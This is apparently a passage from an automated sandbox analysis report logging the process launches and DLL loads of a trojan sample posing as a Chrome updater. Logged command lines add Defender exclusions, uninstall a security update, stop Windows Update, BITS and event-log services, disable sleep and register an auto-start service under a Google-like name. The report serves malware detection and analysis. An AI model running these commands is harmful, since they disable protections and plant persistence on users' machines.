              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe explorer.exe
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: napinsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wshbth.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: winrnr.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
